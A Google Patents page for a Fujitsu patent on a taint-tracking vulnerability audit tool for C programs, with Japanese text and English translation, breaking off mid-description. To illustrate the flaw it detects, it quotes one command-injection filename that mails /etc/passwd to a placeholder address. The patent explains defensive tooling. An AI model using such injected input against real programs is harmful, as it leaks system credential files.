JP5077455B2 - Vulnerability audit program, vulnerability audit device, vulnerability audit method - Google Patents

Vulnerability audit program, vulnerability audit device, vulnerability audit method Download PDF

Info

Publication number
JP5077455B2
JP5077455B2 JP2011048514A JP2011048514A JP5077455B2 JP 5077455 B2 JP5077455 B2 JP 5077455B2 JP 2011048514 A JP2011048514 A JP 2011048514A JP 2011048514 A JP2011048514 A JP 2011048514A JP 5077455 B2 JP5077455 B2 JP 5077455B2
Authority
JP
Japan
Prior art keywords
vulnerability
variable
program
function
determination
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Expired - Fee Related
Application number
JP2011048514A
Other languages
Japanese (ja)
Other versions
JP2011150716A (en
Inventor
仁史 三友
悟 鳥居
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Fujitsu Ltd
Original Assignee
Fujitsu Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Fujitsu Ltd filed Critical Fujitsu Ltd
Priority to JP2011048514A priority Critical patent/JP5077455B2/en
Publication of JP2011150716A publication Critical patent/JP2011150716A/en
Application granted granted Critical
Publication of JP5077455B2 publication Critical patent/JP5077455B2/en
Expired - Fee Related legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Images

Description

本発明は、プログラムを監査し、脆弱性を検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法に関するものである。   The present invention relates to a vulnerability audit program, a vulnerability audit apparatus, and a vulnerability audit method that audit a program and detect vulnerabilities.

プログラムに対する脆弱性監査技術は一般に、静的監査と動的監査に大別される。脆弱性とは、悪用されるとシステムダウン、乗っ取り、情報漏洩等、プログラムユーザに被害をもたらすようなバグの一種であり、セキュリティホールとも呼ばれる。   Vulnerability audit techniques for programs are generally divided into static audits and dynamic audits. Vulnerability is a type of bug that causes damage to program users, such as system down, hijacking, and information leakage when misused, and is also called a security hole.

まず、静的監査について説明する。   First, static audit will be described.

プログラム言語に用意されたライブラリの中には、脆弱性の元になることから使用してはならないもの、或いは使用に注意を要するものが存在する。これらを脆弱ライブラリと呼ぶ。例えばC言語の場合、最もポピュラーな脆弱性であるバッファオーバフロー脆弱性の元となり得る“strcpy”等のライブラリはつかうべきでなく、代わりに“strncpy”等を使うべきである、と言われている。しかし、実際のソースコードにおいては、これらの規約が徹底されているとはいえない現状がある。   Some libraries prepared in the programming language must not be used because they are sources of vulnerabilities, or those that require attention in use. These are called vulnerable libraries. For example, in the case of C language, it is said that a library such as “strcpy” that can be a source of buffer overflow vulnerability, which is the most popular vulnerability, should not be used, but “strncpy” etc. should be used instead. . However, in actual source code, there is a current situation that these rules are not thoroughly enforced.

静的監査とは、プログラムの実行を伴わない監査のことである。一般的な静的監査は、ソースコードを読み込み、既知の脆弱ライブラリ名(システム関数なども含む)を検索し、脆弱ライブラリが使用されている位置と共に警告メッセージを出力する。これにより、プログラマがソースコードに脆弱性を作りこまないような支援を行う。   Static auditing refers to auditing that does not involve program execution. A typical static audit reads source code, searches for known vulnerable library names (including system functions), and outputs a warning message along with the location where the vulnerable library is used. This helps programmers not create vulnerabilities in the source code.

次に、動的監査について説明する。   Next, dynamic audit will be described.

動的監査とは、プログラムの実行を伴う監査のことである。一般的な動的監査は、メモリなどを監視しながら、プログラムに入力データを与え、ソースコードを1行ずつ実行する。そして、メモリ上で異常が発生した場合、警告メッセージを出力する。   Dynamic auditing is auditing that involves program execution. In general dynamic auditing, input data is given to a program while monitoring a memory or the like, and source code is executed line by line. When an abnormality occurs on the memory, a warning message is output.

なお、本発明の関連ある従来技術として、例えば、下記に示す特許文献1が知られている。このコンピュータプロセスのリソースのモデル化方法及び装置は、コンピュータプログラムのコンポーネントを解析して、そのコンポーネントがリソースに与える影響を決定する。また、リソースの所定の挙動に対する違反を検知すると、プログラミングエラーとして通知する。   As a related art related to the present invention, for example, Patent Document 1 shown below is known. The computer process resource modeling method and apparatus analyze a component of a computer program to determine the effect that component has on the resource. When a violation of a predetermined resource behavior is detected, a programming error is notified.

特表平10−509258号公報Japanese National Patent Publication No. 10-509258

一般に脆弱とされているライブラリでも、プログラマがソースコード中での使い方さえ誤らなければ、脆弱性を作りこむことはない。例えば、“strcpy”ライブラリが文字列定数を処理するのであれば、脆弱性とはなりえない。一方、“strcpy”ライブラリが、プログラムのユーザ等、外部から与えられた文字列を処理する場合、外部から特殊な文字列を与えることでバッファオーバフロー脆弱性が発生しうる。   Even a library that is generally considered to be vulnerable will not create a vulnerability unless the programmer uses it in the source code. For example, if the “strcpy” library processes string constants, it cannot be a vulnerability. On the other hand, when the “strcpy” library processes a character string given from the outside, such as a user of the program, a buffer overflow vulnerability may occur by giving a special character string from the outside.

しかしながら、従来の静的監査は、脆弱なライブラリ名の単純なパターンマッチングに依るものが多く、ソースコード中で使用されている脆弱ライブラリの全てについて警告メッセージを出力する。すなわち、従来の静的監査は適切に使われている脆弱ライブラリについても警告するため、プログラマは膨大な警告メッセージに対処しなければならない。   However, conventional static audits often rely on simple pattern matching of vulnerable library names, and output warning messages for all vulnerable libraries used in the source code. In other words, traditional static audits also warn about vulnerable libraries that are being used properly, so programmers must deal with vast warning messages.

また、従来の動的監査は、監査者が、プログラムに与える入力データのセットであるテストセットを作る必要がある。様々な脆弱性を網羅するようにテストセットを作ることは、一般に困難且つ高コストであり、このことが動的監査の敷居を高くしている。   Further, in the conventional dynamic audit, it is necessary for an inspector to create a test set that is a set of input data given to a program. Creating a test set to cover a variety of vulnerabilities is generally difficult and expensive, which raises the threshold for dynamic auditing.

本発明は上述した問題点を解決するためになされたものであり、脆弱なライブラリが適切に用いられていない箇所のみを検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法を提供することを目的とする。   The present invention has been made to solve the above-described problems, and provides a vulnerability audit program, a vulnerability audit apparatus, and a vulnerability audit method that detect only a portion where a vulnerable library is not properly used. For the purpose.

上述した課題を解決するため、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、をコンピュータに実行させるものである。   In order to solve the above-described problem, one aspect of the present invention is a vulnerability audit program for causing a computer to execute a vulnerability audit method for detecting a vulnerability of a program to be audited. And a determination rule input step for reading the determination rule from a storage unit storing a determination rule that is defined in advance in association with a function name and an argument position of the function that can be set to an invalid value. A program input step for reading the audited program and performing syntax analysis; and a processing flow for extracting a variable whose value is input from the outside in the audited program that has been subjected to the syntax analysis and tracking the process along the processing flow A tracking step; and in the audited program, the function defined in the determination rule and the position of the argument of the function are tracked. A vulnerability determination step for determining, when a variable is used, whether a check function is called with the variable as an argument, or whether the variable is used in a conditional expression including a comparison operator; When the determination by the vulnerability determination step is negative, the computer executes a warning output step of generating a warning message and outputting it to a screen or a file.

また、本発明の一態様に係る脆弱性監査プログラムにおいて、前記警告メッセージは、前記値が外部から入力される変数の位置、使用されたライブラリ関数と引数、使用されたライブラリ関数の位置、検出された脆弱性の説明、前記被監査プログラムの修正方法のいずれかを含むことを特徴とするものである。   Further, in the vulnerability audit program according to one aspect of the present invention, the warning message is detected as a variable position where the value is input from the outside, a used library function and an argument, a used library function position. Including a description of vulnerabilities and a method of correcting the audited program.

また、本発明の一態様に係る脆弱性監査プログラムにおいて、前記被監査プログラムは、ソースコードまたは中間言語ファイルであることを特徴とするものである。   In the vulnerability audit program according to an aspect of the present invention, the audited program is a source code or an intermediate language file.

また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査方法をコンピュータに実行させるための脆弱性監査プログラムであって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、をコンピュータに実行させるものである。   One aspect of the present invention is a vulnerability audit program for causing a computer to execute a vulnerability audit method for detecting a vulnerability of a program to be audited, which is a determination rule related to a vulnerability, and includes a function name, A storage unit that stores therein a determination rule in which a code for executing a check on vulnerability is pre-defined in association with a position of an argument of the function that can be set with an invalid value. From the determination rule input step for reading the determination rule, the program input step for reading the audited program and performing syntax analysis, and the variable whose value is input from the outside in the audited program subjected to the syntax analysis And a process flow tracking step for tracking along the process flow; and If the tracked variable is used at the position of the function defined in the function and the argument of the function, whether or not the check function is called with the variable as an argument, or the variable is a comparison operator A vulnerability determination step that determines whether or not a conditional expression including the vulnerability is used, and a determination regarding the vulnerability defined in the determination rule when the determination by the vulnerability determination step is negative By inserting the code, the computer is caused to execute a correction output step for correcting the audited program with respect to the vulnerability.

また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査装置であって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、前記脆弱性判定部による判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力部と、を有するものである。   One embodiment of the present invention is a vulnerability audit apparatus that detects a vulnerability of a program to be audited, which is a determination rule related to a vulnerability, wherein a function name, an argument of the function, and an illegal value are A determination rule input unit that reads the determination rule, a program input unit that reads the audited program and performs syntax analysis, from a storage unit that stores a determination rule defined in advance in association with the position of an argument that can be set; In the audited program subjected to the syntax analysis, a process flow tracking unit that extracts a variable whose value is input from the outside and tracks it along the process flow, and is defined in the determination rule in the audited program If the tracked variable is used at the position of the function and the argument of the function, whether the check function is called with the variable as an argument, or A vulnerability determination unit that determines whether or not a number is used in a conditional expression including a comparison operator, and a warning message is generated and output to a screen or file when the determination by the vulnerability determination unit is negative A warning output unit.

また、本発明の一態様は、被監査プログラムの脆弱性を検出する脆弱性監査装置であって、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力部と、前記被監査プログラムを読み込み構文解析を行うプログラム入力部と、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡部と、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定部と、前記脆弱性判定部による判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力部と、を有するものである。   One embodiment of the present invention is a vulnerability audit apparatus that detects a vulnerability of a program to be audited, which is a determination rule related to a vulnerability, wherein a function name, an argument of the function, and an illegal value are A determination rule input unit that reads the determination rule from a storage unit that stores a determination rule in which a code for executing a check on vulnerability is pre-defined in association with a position of an argument that can be set. A program input unit that reads the audited program and performs syntax analysis; and a processing flow that extracts a variable whose value is input from the outside in the audited program that has undergone the syntax analysis and tracks it along the processing flow In the tracking unit and the audited program, the tracked variable is used in the position of the function defined in the determination rule and the argument of the function. A vulnerability determination unit that determines whether or not a check function is called with the variable as an argument, or whether the variable is used in a conditional expression including a comparison operator, and the vulnerability A correction output unit that corrects the audited program for vulnerabilities by inserting a code that causes a computer to execute a check on the vulnerability defined in the determination rule when the determination by the sex determination unit is negative; , Has.

また、本発明の一態様は、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、警告メッセージを生成し、画面又はファイルに出力する警告出力ステップと、をコンピュータが実行するものである。   One embodiment of the present invention is a determination rule related to vulnerability, in which a function name is defined in advance in association with a position of an argument that is an argument of the function and an invalid value can be set. A determination rule input step for reading the determination rule from the storage unit storing the program, a program input step for reading the audited program and performing syntax analysis, and a value input from the outside in the audited program subjected to the syntax analysis A process flow tracking step for extracting a variable to be tracked along the process flow, and in the audited program, the tracked variable is used in the function defined in the determination rule and the position of the argument of the function. The check function is called with the variable as an argument, or the variable is used in a conditional expression that includes a comparison operator. A computer that executes a vulnerability determination step for determining whether or not, and a warning output step for generating a warning message and outputting it to a screen or a file when the determination by the vulnerability determination step is negative It is.

また、本発明の一態様は、脆弱性に関する判定ルールであって、関数名と、該関数の引数であって不正な値が設定され得る引数の位置とが対応付けて予め定義されるとともに、脆弱性に関するチェックをコンピュータに実行させるコードが予め定義される判定ルールを格納した記憶部から、前記判定ルールを読み込む判定ルール入力ステップと、前記被監査プログラムを読み込み構文解析を行うプログラム入力ステップと、前記構文解析が行われた被監査プログラムにおいて、値が外部から入力される変数を抽出し、処理フローに沿って追跡する処理フロー追跡ステップと、前記被監査プログラムにおいて、前記判定ルールに定義された関数及び該関数の引数の位置に、前記追跡された変数が使用されている場合に、該変数を引数としてチェック関数をコールしているか否か、または該変数が比較演算子を含む条件式に用いられているか否かを判定する脆弱性判定ステップと、前記脆弱性判定ステップによる判定が否である場合に、前記判定ルールに定義された脆弱性に関するチェックをコンピュータに実行させるコードを挿入することで、脆弱性について前記被監査プログラムの修正を行う修正出力ステップと、をコンピュータに実行させるものである。   Further, one aspect of the present invention is a determination rule relating to vulnerability, wherein a function name and an argument position of the function and an argument position where an invalid value can be set are defined in advance, A determination rule input step for reading the determination rule from a storage unit storing a determination rule in which a code for causing a computer to perform a check on vulnerability is previously defined; a program input step for reading the audited program and performing syntax analysis; In the audited program that has undergone the parsing, a process flow tracking step that extracts a variable whose value is input from the outside and tracks it along the process flow, and is defined in the determination rule in the audited program When the tracked variable is used at the position of the function and the argument of the function, the variable is checked as an argument. A vulnerability determination step for determining whether or not the function is called, or whether or not the variable is used in a conditional expression including a comparison operator, and the determination by the vulnerability determination step is negative The computer executes a correction output step of correcting the audited program with respect to the vulnerability by inserting a code for causing the computer to execute a check on the vulnerability defined in the determination rule.

脆弱なライブラリが適切に用いられていない箇所のみを検出する脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法を提供することができる。   It is possible to provide a vulnerability audit program, a vulnerability audit apparatus, and a vulnerability audit method that detect only a portion where a vulnerable library is not properly used.

脆弱なプログラムの一例を示すソースコードである。It is a source code which shows an example of a vulnerable program. 脆弱なプログラムの正常な実行結果の一例を示す表示である。It is a display which shows an example of the normal execution result of a vulnerable program. 安全なプログラムの一例を示すソースコードである。It is a source code which shows an example of a safe program. 本発明に係る脆弱性監査装置の構成の一例を示すブロック図である。It is a block diagram which shows an example of a structure of the vulnerability audit apparatus which concerns on this invention. 本発明に係る脆弱性監査装置の動作の一例を示すフローチャートである。It is a flowchart which shows an example of operation | movement of the vulnerability inspection apparatus which concerns on this invention. 本発明に係る変数処理の動作の一例を示すフローチャートである。It is a flowchart which shows an example of the operation | movement of the variable process which concerns on this invention. 本発明に係る警告メッセージの一例を示す図である。It is a figure which shows an example of the warning message which concerns on this invention. 中間言語ファイルの一例を示す図である。It is a figure which shows an example of an intermediate language file. 本発明に係る脆弱性監査装置の構成の別の一例を示すブロック図である。It is a block diagram which shows another example of a structure of the vulnerability audit apparatus which concerns on this invention. 本発明に係るプログラム修正方法の内容の一例を示すソースコードである。It is a source code which shows an example of the content of the program correction method which concerns on this invention.

以下、本発明の実施の形態について図面を参照しつつ説明する。   Embodiments of the present invention will be described below with reference to the drawings.

本実施の形態は、外部データの入力を起点としてデータフローを追跡し、外部データをそのまま危険なライブラリに引き渡している個所を検出するものである。従って、本実施の形態によれば、脆弱なライブラリが適切に用いられていない箇所のみを検出できる。本実施の形態では、C言語のソースコードに含まれる脆弱性を検出し、検出した脆弱性をプログラマに警告するような脆弱性監査装置について説明する。   In the present embodiment, the data flow is traced starting from the input of external data, and the location where the external data is directly transferred to a dangerous library is detected. Therefore, according to the present embodiment, it is possible to detect only a portion where a vulnerable library is not properly used. In the present embodiment, a vulnerability audit apparatus that detects a vulnerability included in a C language source code and warns a programmer of the detected vulnerability will be described.

まず、監査の対象となるプログラムである、2つの被監査プログラムの例について説明する。   First, an example of two audited programs that are programs to be audited will be described.

第1の被監査プログラムの例として、脆弱なプログラム“test1.c”を図1に示す。“test1.c”は、ユーザにファイル名の入力を行わせ、このファイル名に対応するファイルの詳細情報(アクセス制限、所有者、サイズ、最終更新日時、等)を画面に出力するプログラムである。“test1.c”はまず、09〜11行目でファイル名の入力処理を行う。次に、13行目で当該ファイル名を用いてUnixシェルに渡すコマンド文字列を生成する。ここでは“ls −l filename”で、ファイルの詳細情報を出力する。次に、14行目で当該コマンド文字列をUnixシェルに引き渡す。このプログラムに既存の適切なファイル名を入力した場合の、正常な実行結果を図2に示す。   As an example of the first audited program, FIG. 1 shows a vulnerable program “test1.c”. “Test1.c” is a program that allows the user to input a file name and outputs detailed information (access restriction, owner, size, last update date, etc.) of the file corresponding to this file name to the screen. . "Test1.c" first performs file name input processing on lines 09-11. Next, on the 13th line, a command character string to be passed to the Unix shell is generated using the file name. Here, the detailed information of the file is output by “ls -l filename”. Next, the command character string is delivered to the Unix shell on the 14th line. FIG. 2 shows a normal execution result when an existing appropriate file name is input to this program.

しかし、“test1.c”は悪用される恐れのある脆弱なプログラムである。悪意あるユーザは、ファイル名として例えば“example.txt; mail foo@fuga.com < /etc/passwd”を入力するかもしれない。この場合、“test1.c”は、ファイル“example.txt”の詳細情報が表示されるところまでは良いが、続けてパスワードファイルを“foo@fuga.com”宛てにメール送信するコマンドが実行されてしまう。すなわち、機密情報が漏洩してしまう。   However, “test1.c” is a vulnerable program that can be misused. The malicious user may enter, for example, “example.txt; mail foo@fuga.com <// etc / passwd” as the file name. In this case, “test1.c” is fine until the detailed information of the file “example.txt” is displayed, but a command for sending a password file to “foo@fuga.com” is subsequently executed. End up. That is, confidential information is leaked.

次に、第2の被監査プログラムの例として、“test1.c”の問題を解決した安全なプログラム“test2.c”を図3に示す。“test1.c”と違って“test2.c”は、入力されたファイル名をチェックする。13行目で関数“Check_file_name”(23〜36行目で定義されている)が呼び出され、そこでファイル名がチェックされ、チェックにパスしないファイル名は処理せずにプログラムを終了する。これにより、“test1.c”のような問題は発生しないことになる。   Next, as an example of the second audited program, FIG. 3 shows a safe program “test2.c” that solves the problem of “test1.c”. Unlike “test1.c”, “test2.c” checks the input file name. In line 13, the function “Check_file_name” (defined in lines 23 to 36) is called, where the file name is checked and the program is terminated without processing any file name that does not pass the check. As a result, a problem such as “test1.c” does not occur.

ここで、関数“Check_file_name”について簡単に説明する。この関数は、ファイル名の文字列に英数字、‘.’(ピリオド)、‘−’(ハイフン)、‘_’(アンダーバー)以外の文字が含まれていないかをチェックしている。通常、これらの文字で必要十分と考えられる。すなわち、ファイル名に使える文字をこれらに限定することにより、“test1.c”の問題のような不正な入力を防ぐ。   Here, the function “Check_file_name” will be briefly described. This function uses alphanumeric characters in the file name string, '. It is checked whether characters other than '(period),'-'(hyphen) and' _ '(under bar) are included. These characters are usually considered necessary and sufficient. In other words, by limiting the characters that can be used in the file name to these, illegal input such as the problem of “test1.c” is prevented.

次に、本発明に係る脆弱性監査装置の構成について説明する。図4は、本発明に係る脆弱性監査装置の構成の一例を示すブロック図である。この脆弱性監査装置は、プログラム入力部11、変数管理部21、判定ルール管理部22、処理フロー追跡部31、脆弱性判定部32、警告メッセージ出力部41を備える。   Next, the configuration of the vulnerability inspection apparatus according to the present invention will be described. FIG. 4 is a block diagram showing an example of the configuration of the vulnerability inspection apparatus according to the present invention. The vulnerability inspection apparatus includes a program input unit 11, a variable management unit 21, a determination rule management unit 22, a processing flow tracking unit 31, a vulnerability determination unit 32, and a warning message output unit 41.

判定ルール管理部22は、予め定義された脆弱性についての判定ルールを管理する。判定ルールは、外部入力を用いる関数や脆弱ライブラリの引数等を記述したものである。また、判定ルールは、予めメモリに格納されても良いし、予めファイルに格納され起動時に読み込むようにしても良い。また、ユーザがこのファイルをカスタマイズできるようにしても良い。   The determination rule management unit 22 manages a determination rule for a previously defined vulnerability. The determination rule describes a function using an external input, an argument of a vulnerable library, and the like. The determination rule may be stored in advance in a memory, or may be stored in advance in a file and read at startup. Also, the user may be able to customize this file.

プログラム入力部11は、ソースコードを読み込み、ソースコードの構文解析を行い、処理フローを処理フロー追跡部31に渡す。これは、C言語コンパイラの機能を利用して実現できる。C言語コンパイラはソースコードを構文解析して中間言語ファイルを生成するため、この中間言語ファイルを処理フローとする。ソースコードは複数のファイルからなるものでも良い。処理フロー追跡部31は、値が外部から入力される変数である外部入力変数を抽出し、その変数に関する情報を変数管理部21へ渡す。また、処理フロー追跡部31は、外部入力変数を処理フローに沿って追跡し、追跡した先の変数がライブラリ関数の脆弱な引数として処理されている箇所を抽出する。抽出の基準には、判定ルールを用いる。   The program input unit 11 reads the source code, performs syntax analysis of the source code, and passes the processing flow to the processing flow tracking unit 31. This can be realized by using the function of the C language compiler. Since the C language compiler parses the source code to generate an intermediate language file, this intermediate language file is used as a processing flow. The source code may consist of multiple files. The processing flow tracking unit 31 extracts an external input variable whose value is input from the outside, and passes information related to the variable to the variable management unit 21. Further, the processing flow tracking unit 31 tracks the external input variable along the processing flow, and extracts a place where the tracked destination variable is processed as a vulnerable argument of the library function. A determination rule is used as a reference for extraction.

変数管理部21は、処理フロー追跡部31から得られる変数毎の情報を変数テーブルとして管理する。変数毎の情報は、変数名、属性、属性が設定された位置(ソースファイル名と行番号)からなる。引数や変数の属性には、変数宣言直後の状態である「未設定」、値が設定された状態であり、他のどの状態でもない「通常」、外部入力された状態であり、脆弱性が発生し得る「汚染」、汚染でないことをチェックした「チェック済み」がある。また、属性が汚染である変数を汚染変数と呼ぶ。   The variable management unit 21 manages information for each variable obtained from the processing flow tracking unit 31 as a variable table. The information for each variable consists of the variable name, attribute, and position (source file name and line number) where the attribute is set. The attribute of the argument or variable is “unset”, which is the state immediately after the declaration of the variable, the value is set, “normal” which is not any other state, the externally input state, and the vulnerability is There is "contamination" that can occur, and "checked" that has been checked for no contamination. A variable whose attribute is pollution is called a pollution variable.

脆弱性判定部32は、判定ルールに定義された脆弱なライブラリの引数として、汚染変数が使用されているか否かの判定を行う。警告出力部41は、脆弱性に関する警告メッセージを生成し、画面やファイル等に出力する。   The vulnerability determination unit 32 determines whether a contamination variable is used as an argument of a vulnerable library defined in the determination rule. The warning output unit 41 generates a warning message regarding the vulnerability and outputs it to a screen, a file, or the like.

次に、本発明に係る脆弱性監査装置の動作について説明する。図5は、本発明に係る脆弱性監査装置の動作の一例を示すフローチャートである。   Next, the operation of the vulnerability inspection apparatus according to the present invention will be described. FIG. 5 is a flowchart showing an example of the operation of the vulnerability inspection apparatus according to the present invention.

まず、プログラム入力部11、プログラムを読み込み、処理フロー追跡部31へ渡す(S11)。次に、処理フロー追跡部31は、判定ルールに従って外部入力変数を抽出し、変数管理部21の変数テーブルに格納する(S12)。次に、処理フロー追跡部31は、未監査の変数が残っているか否かの判断を行う(S13)。未監査の変数が残っていれば(S13,Y)、処理フロー追跡部31は、未監査の変数の1つを選択して変数の監査を行い(S14)、処理S13へ戻る。一方、未監査の変数が残っていなければ(S13,N)、このフローを終了する。   First, the program input unit 11 reads the program and passes it to the processing flow tracking unit 31 (S11). Next, the process flow tracking unit 31 extracts external input variables according to the determination rule and stores them in the variable table of the variable management unit 21 (S12). Next, the process flow tracking unit 31 determines whether or not unaudited variables remain (S13). If an unaudited variable remains (S13, Y), the process flow tracking unit 31 selects one of the unaudited variables, audits the variable (S14), and returns to the process S13. On the other hand, if there is no unaudited variable (S13, N), this flow ends.

処理S14において、処理フロー追跡部31と脆弱性判定部32は、選択した変数の監査を行う。図6は、本発明に係る変数の監査の動作の一例を示すフローチャートである。   In the process S14, the process flow tracking unit 31 and the vulnerability determination unit 32 audit the selected variable. FIG. 6 is a flowchart showing an example of the variable auditing operation according to the present invention.

まず、処理フロー追跡部31は、読み込んだプログラムを1行進める(S21)。次に、処理フロー追跡部31は、プログラムが終了したか否かの判断を行う(S22)。プログラムが終了した場合(S22,Y)、このフローを終了する。一方、プログラムが終了していない場合(S22,N)、処理フロー追跡部31は、プログラムが分岐したか否かの判断を行う(S23)。プログラムが分岐していない場合(S23,N)、処理S31へ移行する。一方、プログラムが分岐した場合(S23,Y)、処理フロー追跡部31は、選択した変数に対応する分岐先の変数を変数テーブルに格納する(S24)。   First, the process flow tracking unit 31 advances the read program by one line (S21). Next, the process flow tracking unit 31 determines whether or not the program has ended (S22). When the program is finished (S22, Y), this flow is finished. On the other hand, when the program has not ended (S22, N), the process flow tracking unit 31 determines whether or not the program has branched (S23). If the program is not branched (S23, N), the process proceeds to S31. On the other hand, when the program branches (S23, Y), the process flow tracking unit 31 stores the branch destination variable corresponding to the selected variable in the variable table (S24).

次に、処理フロー追跡部31は、当該変数の属性がチェック済みであるか否かの判断を行う(S31)。チェック済みである場合(S31,Y)、このフローを終了する。一方、チェック済みでない場合(S31,N)、処理フロー追跡部31は、当該変数が関数に使用されているか否かの判断を行う(S32)。関数に使用されていなければ(S32,N)、処理S21へ戻る。一方、関数に使用されていれば(S32,Y)、脆弱性判定部32は、各変数の属性の遷移により汚染変数が発生したか否かの判断を行う(S41)、汚染変数が発生していなければ(S41,N)、処理S43へ移行する。一方、汚染変数が発生していれば(S41,Y)、脆弱性判定部32は、変数の属性を汚染として変数テーブルに格納する(S42)。次に、脆弱性判定部32は、判定ルールに従って当該変数に脆弱性が発生したか否かの判断を行う(S43)。脆弱性が発生していない場合(S43,N)、処理S21へ戻る。一方、脆弱性が発生した場合(S43,Y)、警告出力部41は、警告メッセージの出力を行い(S44)、このフローを終了する。   Next, the process flow tracking unit 31 determines whether or not the attribute of the variable has been checked (S31). If it has been checked (S31, Y), this flow ends. On the other hand, if not checked (S31, N), the process flow tracking unit 31 determines whether the variable is used in the function (S32). If not used in the function (S32, N), the process returns to the process S21. On the other hand, if it is used in a function (S32, Y), the vulnerability determination unit 32 determines whether or not a pollution variable has occurred due to the transition of the attribute of each variable (S41). If not (S41, N), the process proceeds to S43. On the other hand, if a contamination variable has occurred (S41, Y), the vulnerability determination unit 32 stores the variable attribute as contamination in the variable table (S42). Next, the vulnerability determination unit 32 determines whether or not vulnerability has occurred in the variable according to the determination rule (S43). If the vulnerability has not occurred (S43, N), the process returns to S21. On the other hand, when a vulnerability has occurred (S43, Y), the warning output unit 41 outputs a warning message (S44) and ends this flow.

ここで、処理S12は、予め定義した外部入力を用いる関数の使用と、main関数へ渡された引数(argc,argv)により、外部入力変数を抽出する。このうち外部入力を用いる関数については、関数名と、汚染された値が入り得る引数の位置を、予め判定ルールに定義しておく。この定義は、各関数の使用を踏まえて行う必要がある。例えばfgets関数について、以下のように予め定義しておく。   Here, the process S12 extracts an external input variable by using a function using a predefined external input and using arguments (argc, argv) passed to the main function. Among these functions, for functions using external inputs, the function name and the position of an argument that can contain a tainted value are defined in advance in the determination rule. This definition needs to be made based on the use of each function. For example, the fgets function is defined in advance as follows.

fgets:param_1=taint   fgets: param_1 = taint

この定義は、fgets関数が外部から入力される値が第1引数に入るような使用であることから、第1引数が汚染(taint)であり、それ以外の引数及び復帰値は非汚染であることを意味している。   In this definition, since the fgets function is used such that a value input from the outside enters the first argument, the first argument is tainted, and the other arguments and the return value are non-tainted. It means that.

同様にsnprintf関数について、以下のように予め定義しておく。   Similarly, the snprintf function is defined in advance as follows.

snprintf:param_1=param_4   snprintf: param_1 = param_4

